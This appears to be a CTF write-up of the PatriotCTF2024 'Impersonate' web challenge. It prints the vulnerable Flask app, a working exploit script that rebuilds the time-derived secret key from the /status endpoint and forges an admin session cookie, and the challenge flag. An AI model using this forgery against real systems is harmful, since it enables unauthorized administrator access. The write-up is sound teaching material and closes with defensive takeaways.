Post

PatriotCTF2024 web/Impersonate

My solution for PatriotCTF2024 web/Impersonate challenge

Challenge overview

Impersonate

The Impersonate challenge presents a web application with a session-based authentication mechanism. The goal is to manipulate the session to gain administrator privileges and retrieve the flag.

Application code

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
from flask import Flask, request, render_template, jsonify, abort, redirect, session
import uuid
import os
from datetime import datetime, timedelta
import hashlib

app = Flask(__name__)
server_start_time = datetime.now()
server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
app.secret_key = secure_key
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(seconds=300)
flag = os.environ.get('FLAG', "flag{this_is_a_fake_flag}")
secret = uuid.UUID('31333337-1337-1337-1337-133713371337')

def is_safe_username(username):
    """Check if the username is alphanumeric and less than 20 characters."""
    return username.isalnum() and len(username) < 20
@app.route('/', methods=['GET', 'POST'])
def main():
    """Handle the main page where the user submits their username."""
    if request.method == 'GET':
        return render_template('index.html')
    elif request.method == 'POST':
        username = request.values['username']
        password = request.values['password']
        if not is_safe_username(username):
            return render_template('index.html', error='Invalid username')
        if not password:
            return render_template('index.html', error='Invalid password')
        if username.lower().startswith('admin'):
            return render_template('index.html', error='Don\'t try to impersonate administrator!')
        if not username or not password:
            return render_template('index.html', error='Invalid username or password')
        uid = uuid.uuid5(secret, username)
        session['username'] = username
        session['uid'] = str(uid)
        return redirect(f'/user/{uid}')
@app.route('/user/<uid>')
def user_page(uid):
    """Display the user's session page based on their UUID."""
    try:
        uid = uuid.UUID(uid)
    except ValueError:
        abort(404)
    session['is_admin'] = False
    return 'Welcome Guest! Sadly, you are not admin and cannot view the flag.'
@app.route('/admin')
def admin_page():
    """Display the admin page if the user is an admin."""
    if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator':
        return flag
    else:
        abort(401)
@app.route('/status')
def status():
    current_time = datetime.now()
    uptime = current_time - server_start_time
    formatted_uptime = str(uptime).split('.')[0]
    formatted_current_time = current_time.strftime('%Y-%m-%d %H:%M:%S')
    status_content = f"""Server uptime: {formatted_uptime}<br>
    Server time: {formatted_current_time}
    """
    return status_content
if __name__ == '__main__':
    app.run("0.0.0.0", port=9999)

Initial analysis

Upon visiting the provided URL, the challenge appears to be a typical Flask-based web application with user authentication. The key to solving this challenge lies in understanding how the session management works and identifying potential vulnerabilities that allow session forgery or privilege escalation.

Deep dive into the application code

The provided Flask application code reveals several critical components:

  1. Secret key generation:
    1
    2
    3
    4
    
    server_start_time = datetime.now()
    server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
    secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
    app.secret_key = secure_key
    

    The secret_key is derived from the server’s start time, formatted as YYYYMMDDHHMMSS, and then hashed using SHA-256. This deterministic key generation method is a potential vulnerability, especially if the server’s start time can be inferred.

  2. Session handling:
    1
    2
    
    session['username'] = username
    session['uid'] = str(uid)
    

    User information is stored directly in the session without additional encryption or obfuscation.

  3. Admin page access control:
    1
    2
    3
    4
    
    if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator':
     return flag
    else:
     abort(401)
    

    Access to the admin page requires the session to have is_admin set to True, the username to be 'administrator', and the UUID to match a specific value. The UUID is generated using uuid.uuid5 with a predefined secret UUID and the string 'administrator'.

  4. Status endpoint:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
    @app.route('/status')
    def status():
     current_time = datetime.now()
     uptime = current_time - server_start_time
     formatted_uptime = str(uptime).split('.')[0]
     formatted_current_time = current_time.strftime('%Y-%m-%d %H:%M:%S')
     status_content = f"""Server uptime: {formatted_uptime}<br>
         Server time: {formatted_current_time}
     """
     return status_content
    

    The /status endpoint reveals the server’s current time and uptime, which are crucial pieces of information for deducing the secret_key.

The core vulnerability stems from the predictable generation of the secret_key. Since the secret_key is derived from the server’s start time, which can be calculated using the information provided by the /status endpoint, an attacker can reconstruct the secret_key and forge a valid session cookie.

Steps to exploit

  1. Access the /status endpoint.
  2. Reconstruct the secret_key.
  3. Forge session cookie.
  4. Access admin page.

Exploit script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import hashlib
from datetime import datetime, timedelta
import re

# Fetch the /status page
status_url = "http://chal.competitivecyber.club:9999/status"
response = requests.get(status_url)
status_text = response.text

# Parse the server time and uptime from the status page
match_uptime = re.search(r"Server uptime: ([\d:]+)", status_text)
if match_uptime:
    uptime_str = match_uptime.group(1)
else:
    print("Could not find uptime")
    exit()

match_servertime = re.search(r"Server time: ([\d\-: ]+)", status_text)
if match_servertime:
    server_time_str = match_servertime.group(1)
else:
    print("Could not find server time")
    exit()

# Convert strings to datetime and timedelta objects
(h, m, s) = map(int, uptime_str.split(":"))
uptime = timedelta(hours=h, minutes=m, seconds=s)
server_time = datetime.strptime(server_time_str, "%Y-%m-%d %H:%M:%S")

# Calculate server start time
server_start_time = server_time - uptime
server_start_str = server_start_time.strftime("%Y%m%d%H%M%S")

# Generate app.secret_key based on the app.py
secure_key = hashlib.sha256(f"secret_key_{server_start_str}".encode()).hexdigest()

# Create the session data
session_data = {"is_admin": True, "username": "administrator"}

# Create an instance of the Flask app and set the secret key
# and use SecureCookieSessionInterface to serialize the session data
app = Flask(__name__)
app.secret_key = secure_key

session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(app)
session_cookie = serializer.dumps(session_data)

# Make a request to the admin page with the session cookie
admin_url = "http://chal.competitivecyber.club:9999/admin"
s = requests.Session()
s.cookies.set("session", session_cookie, domain="chal.competitivecyber.club", path="/")
admin_response = s.get(admin_url)

print(admin_response.text)

Explanation:

  1. The script begins by fetching the /status page to obtain the server’s current time and uptime.
  2. Using the retrieved uptime and current time, it calculates the server’s start time, which is essential for generating the secret_key.
  3. By formatting the server’s start time and hashing it with SHA-256, the script reconstructs the secure_key used by the Flask application.
  4. Utilizing Flask’s SecureCookieSessionInterface, the script serializes and signs the session data, embedding is_admin: True and username: "administrator".
  5. Finally, the script sets the forged session cookie and requests the /admin endpoint, successfully bypassing authentication and retrieving the flag.

Flag:
PCTF{Imp3rs0n4t10n_Iz_Sup3r_Ezz}

Conclusion

The Impersonate challenge elegantly demonstrates the pitfalls of predictable session key generation. By exposing the server’s start time through the /status endpoint, the application inadvertently provided attackers with the necessary information to reconstruct the secret_key. This oversight allowed for session forgery, enabling privilege escalation to the administrator level.

Key takeaways

  • Avoid predictable secret keys: Secret keys should be generated using secure, random methods and not based on potentially observable data.
  • Limit information exposure: Sensitive information like server uptime and current time should be handled cautiously to prevent leakage that could aid in attacks.
  • Implement robust session management: Ensure that session data is not easily forgeable and that privilege checks are thorough and cannot be bypassed through simple manipulations.
This post is licensed under CC BY 4.0 by the author.